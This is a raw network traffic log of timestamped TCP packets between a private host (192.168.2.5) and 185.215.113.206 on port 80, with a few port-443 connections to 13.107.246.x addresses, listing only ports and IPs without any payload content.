Oct 29, 2024 20:35:23.244587898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244600058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244606018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244606018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244611025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244621992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244647026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244647026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245008945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245028973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245040894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245078087 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245078087 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245122910 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245176077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245187998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245199919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245213032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245225906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245228052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245239019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245250940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245263100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245265961 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245265961 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245275021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245327950 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245327950 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245404959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245439053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245450020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245497942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245497942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245583057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245594978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245606899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.245649099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245649099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.245985031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246037006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246074915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246104956 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246104956 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246153116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246164083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246205091 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246205091 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246232033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246243954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246352911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246364117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246376038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246387959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246388912 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246388912 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246438026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246438026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246494055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246614933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246627092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246639013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246681929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246681929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246697903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246745110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246754885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246766090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246778011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246787071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246814966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246814966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246817112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246839046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246869087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246880054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246900082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246900082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246903896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246915102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246927023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246937990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246942043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246942043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246965885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246974945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.246984005 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.246984005 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247051954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247062922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247075081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247086048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247095108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247095108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247234106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247247934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247260094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247271061 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247272015 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247395992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247407913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247420073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247432947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247442961 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247442961 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247446060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247457981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247478008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247489929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247490883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247522116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247522116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247689962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247706890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247720957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247731924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247750044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247762918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247762918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247843981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247854948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247867107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247889042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247889996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247894049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247905016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247916937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247927904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247939110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.247946978 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.247946978 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.248135090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.248291016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248312950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248323917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248334885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248347044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248389959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.248389959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.248408079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248419046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248431921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.248471975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.248471975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.261574984 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.261852980 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.261914015 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.261966944 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.261966944 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.261991024 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.262001991 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.266082048 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.266113997 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.266421080 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.266608000 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.266622066 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.351667881 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.351694107 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.351742029 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.351761103 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.352145910 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.352199078 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.356183052 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.356204987 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.359791040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359810114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359824896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359899044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359910011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359910011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.359910011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.359921932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359931946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359944105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359956980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.359980106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360023022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360023022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360045910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360058069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360071898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360088110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360102892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360115051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360126019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360126019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360155106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360212088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360229969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360240936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360251904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360255003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360255003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360264063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360275984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360289097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360301971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360304117 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360304117 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360315084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360333920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360343933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360343933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360344887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360357046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360374928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360385895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360395908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360395908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360398054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360410929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360421896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360435009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360440969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360440969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360450029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360485077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360485077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360601902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360613108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360625029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360635996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360637903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360647917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360661030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360697985 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360697985 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360728979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360740900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360752106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360763073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360775948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360780954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360780954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360788107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360841036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360841036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.360945940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360958099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360969067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360981941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.360996008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361008883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361020088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361026049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361026049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361040115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361057997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361068964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361069918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361069918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361079931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361093044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361104012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361115932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361115932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361115932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361129045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361140966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361152887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361165047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361166000 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361166000 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361179113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361191988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361205101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361205101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361308098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361318111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361327887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361340046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361346960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361346960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361351967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361365080 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361377954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361391068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361391068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361392021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361406088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361418009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361434937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361434937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361443996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361455917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361465931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361478090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361478090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361649036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361665964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361680031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361681938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361681938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361690998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361705065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361717939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361717939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361741066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361774921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361774921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361835957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.361871004 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.361921072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362030029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362041950 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362042904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362056017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362066984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362077951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362095118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362096071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362096071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362107992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362118959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362132072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362143993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362158060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362169027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362175941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362175941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362175941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362202883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362205982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362205982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362214088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362226009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362238884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362242937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362250090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362291098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362299919 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362299919 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362303972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362317085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362328053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362329960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362363100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362363100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362397909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362407923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362417936 CET	80	49863	185.215.113.206	192.168.2.5
